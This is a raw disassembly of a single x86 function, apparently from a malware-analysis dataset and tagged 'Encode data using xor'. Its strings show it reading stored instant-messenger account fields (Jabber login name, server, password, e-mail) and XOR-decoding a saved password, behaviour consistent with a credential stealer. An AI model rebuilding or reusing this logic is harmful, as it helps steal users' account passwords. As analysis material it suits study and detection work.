Function at 0x40d392
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41dcda
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xf98
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ebx
push esi
push edi
mov edi, dword [eax + 4]
xor ebx, ebx
mov byte [esp + 0x17], 1
mov dword [esp + 0x20], ecx
mov dword [esp + 0x38], edi
mov dword [esp + 0x18], ebx
cmp edi, ebx
jle 0x40d874
jmp 0x40d3dd
mov edi, eax
mov esi, 0x103
push esi
lea eax, [esp + 0x15d]
push ebx
push eax
mov byte [esp + 0x164], bl
call fcn.004130d0
add esp, 0xc
push esi
lea eax, [esp + 0x55]
push ebx
push eax
mov byte [esp + 0x5c], bl
call fcn.004130d0
add esp, 0xc
push esi
lea eax, [esp + 0x36d]
push ebx
push eax
mov byte [esp + 0x374], bl
call fcn.004130d0
add esp, 0xc
push esi
lea eax, [esp + 0x475]
push ebx
push eax
mov byte [esp + 0x47c], bl
call fcn.004130d0
add esp, 0xc
push esi
lea eax, [esp + 0x265]
push ebx
push eax
mov byte [esp + 0x26c], bl
call fcn.004130d0
mov ecx, dword [esp + 0x2c]
add esp, 0xc
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x15c]
push eax
lea eax, [esp + 0x20]
push eax
mov eax, dword [esp + 0x24]
push str.AM_BaseProto
inc esi
push edi
mov dword [esp + 0x24], esi
call fcn.0040d222
add esp, 0x14
test al, al
je 0x40d874
mov eax, dword [esp + 0x10]
add dword [esp + 0x18], eax
push str.JABBER
lea eax, [esp + 0x15c]
push eax
mov dword [esp + 0x24], ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40d581
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x264]
push eax
lea eax, [esp + 0x24]
push eax
mov eax, dword [esp + 0x24]
push str.LoginName
push edi
mov dword [esp + 0x24], esi
call fcn.0040d222
mov ecx, dword [esp + 0x34]
add esp, 0x14
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x474]
push eax
lea eax, [esp + 0x24]
push eax
mov eax, dword [esp + 0x24]
push str.LoginServer
push edi
mov dword [esp + 0x24], esi
call fcn.0040d222
mov ecx, dword [esp + 0x34]
add esp, 0x14
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x54]
push eax
lea eax, [esp + 0x24]
push eax
mov eax, dword [esp + 0x24]
push str.LoginPassword
push edi
mov dword [esp + 0x24], esi
call fcn.0040d222
add esp, 0x14
test al, al
je 0x40d66d
lea eax, [esp + 0x50]
push eax
lea eax, [esp + 0x36c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [esp + 0x10]
lea eax, [esp + 0x54]
push eax
call fcn.0040d208
pop ecx
xor eax, eax
pop ecx
cmp dword [esp + 0x10], ebx
jle 0x40d66d
xor byte [esp + eax + 0x368], 0xc3
inc eax
cmp eax, dword [esp + 0x10]
jl 0x40d56d
jmp 0x40d66d
push 0x422574
lea eax, [esp + 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40d5c6
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x264]
push eax
lea eax, [esp + 0x24]
push eax
mov eax, dword [esp + 0x24]
push str.e_mail
push edi
mov dword [esp + 0x24], esi
call fcn.0040d222
add esp, 0x14
jmp 0x40d630
push 0x42258c
lea eax, [esp + 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40d66d
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x38]
push eax
lea eax, [esp + 0x24]
push eax
mov eax, dword [esp + 0x24]
push 0x422590
push edi
mov dword [esp + 0x48], ebx
mov dword [esp + 0x24], 4
call fcn.0040d222
add esp, 0x14
test al, al
je 0x40d630
push dword [esp + 0x34]
lea eax, [esp + 0x264]
push 0x422594
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x54]
push eax
lea eax, [esp + 0x24]
push eax
mov eax, dword [esp + 0x24]
push str.Password
push edi
mov dword [esp + 0x24], esi
call fcn.0040d222
add esp, 0x14
test al, al
je 0x40d66d
push dword [esp + 0x10]
lea eax, [esp + 0x54]
push eax
call fcn.0040d208
pop ecx
pop ecx
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0x208
lea eax, [esp + 0xd9c]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x164]
push eax
push ebx
mov edi, 0xfde9
push edi
call esi
push 0x208
lea eax, [esp + 0x57c]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x47c]
push eax
push ebx
push edi
call esi
push 0x208
lea eax, [esp + 0x784]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x26c]
push eax
push ebx
push edi
call esi
push 0x208
lea eax, [esp + 0x98c]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x5c]
push eax
push ebx
push edi
call esi
push 0x208
lea eax, [esp + 0xb94]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x374]
push eax
push ebx
push edi
call esi
lea esi, [esp + 0x24]
call fcn.00405d11
mov dword [esp + 0xfac], ebx
push ebx
lea eax, [esp + 0x38]
push eax
push 4
pop edi
mov eax, edi
mov ecx, esi
mov dword [esp + 0x3c], 0x77010101
call fcn.004060be
push 0x422598
mov eax, esi
push eax
call fcn.004025f0
lea eax, [esp + 0xb90]
push eax
mov eax, esi
push eax
call fcn.004025f0
lea eax, [esp + 0x578]
push eax
mov eax, esi
push eax
call fcn.004025f0
lea eax, [esp + 0x780]
push eax
mov eax, esi
push eax
call fcn.004025f0
lea eax, [esp + 0x988]
push eax
mov eax, esi
push eax
call fcn.004025f0
push ebx
lea eax, [esp + 0x20]
push eax
mov eax, edi
mov ecx, esi
mov dword [esp + 0x24], ebx
call fcn.004060be
push ebx
lea eax, [esp + 0x14]
push eax
mov eax, edi
mov ecx, esi
mov dword [esp + 0x18], ebx
call fcn.004060be
push ebx
lea eax, [esp + 0x44]
push eax
mov eax, edi
mov ecx, esi
mov dword [esp + 0x48], ebx
call fcn.004060be
call dword [sym.imp.KERNEL32.dll_GetACP]
mov dword [esp + 0x44], eax
push ebx
lea eax, [esp + 0x48]
push eax
mov eax, edi
mov ecx, esi
call fcn.004060be
push ebx
lea eax, [esp + 0x50]
push eax
mov eax, edi
mov ecx, esi
mov dword [esp + 0x54], 3
call fcn.004060be
push ebx
lea eax, [esp + 0x4c]
push eax
mov eax, edi
mov ecx, esi
mov dword [esp + 0x50], ebx
call fcn.004060be
lea eax, [esp + 0xd98]
push eax
mov eax, esi
push eax
call fcn.004025f0
mov eax, dword [esp + 0x28]
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x3c]
push eax
mov eax, esi
call fcn.00406173
push dword [esp + 0x28]
mov esi, dword [ebp + 8]
push ebx
push 0x64
push esi
call fcn.00403aef
push eax
push 0xff0f8211
push dword [esp + 0x3c]
push dword [esp + 0x3c]
call fcn.0040242d
test al, al
je 0x40d84f
or dword [esp + 0xfac], 0xffffffff
lea esi, [esp + 0x24]
call fcn.00405f2c
mov al, 1
jmp 0x40d862
or dword [esp + 0xfac], 0xffffffff
lea esi, [esp + 0x24]
call fcn.00405f2c
xor al, al
and byte [esp + 0x17], al
mov eax, dword [esp + 0x38]
cmp dword [esp + 0x18], eax
jl 0x40d3db
mov ecx, dword [esp + 0xfa4]
mov al, byte [esp + 0x17]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret